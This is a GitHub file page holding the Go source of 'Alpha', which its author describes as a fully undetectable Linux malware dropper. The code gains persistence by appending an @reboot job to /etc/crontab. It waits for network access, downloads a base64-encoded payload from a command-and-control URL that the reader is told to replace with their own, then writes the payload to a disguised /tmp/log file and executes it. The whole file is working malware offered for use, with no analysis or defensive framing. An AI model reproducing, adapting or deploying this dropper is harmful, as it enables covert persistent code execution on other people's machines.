-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathalpha.go
93 lines (83 loc) · 1.76 KB
/
alpha.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*
* Author : Nemuel Wainaina
* Alpha : FUD Linux Malware Dropper
*/
package main
import (
"bufio"
b64 "encoding/base64"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"os/exec"
"strings"
"time"
)
const (
HOME = "http://127.0.0.1:5000/update" // replace with your C2 address
)
var (
PAYLOAD []byte
FILE string
)
func main() {
if !has_persisted() {
persist()
}
for !has_internet_access() {
time.Sleep(time.Minute)
}
fetch_payload()
deploy(PAYLOAD)
}
func has_persisted() bool {
flag := "alpha"
file, _ := os.Open("/etc/crontab")
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(line, flag) {
return true
}
}
return false
}
func persist() {
path, _ := os.Executable()
new_job := fmt.Sprintf("@reboot %s", path)
crontab, _ := os.OpenFile("/etc/crontab", os.O_APPEND|os.O_WRONLY, 0644)
scanner := bufio.NewScanner(crontab)
var content string
for scanner.Scan() {
content = scanner.Text() + "\n"
}
content += new_job + "\n"
crontab.Write([]byte(content))
}
func has_internet_access() bool {
_, err := http.Get("https://www.google.com")
return err == nil
}
func fetch_payload() {
client := &http.Client{}
request, _ := http.NewRequest(http.MethodGet, HOME, nil)
resp, _ := client.Do(request)
body := resp.Body
b64content, _ := io.ReadAll(body)
b64str := string(b64content)
result := b64str[2 : len(b64str)-1]
PAYLOAD, _ = b64.StdEncoding.DecodeString(string(result))
}
func deploy(payload []byte) {
rand.Seed(time.Now().UnixNano())
file_name := fmt.Sprintf("log-%d", (rand.Intn(9999-1111) + 1111))
FILE = fmt.Sprintf("/tmp/%s", file_name)
file, _ := os.OpenFile(FILE, os.O_CREATE|os.O_WRONLY, 0766)
file.Write(PAYLOAD)
file.Close()
cmd := exec.Command(FILE)
cmd.Start()
cmd.Wait()
}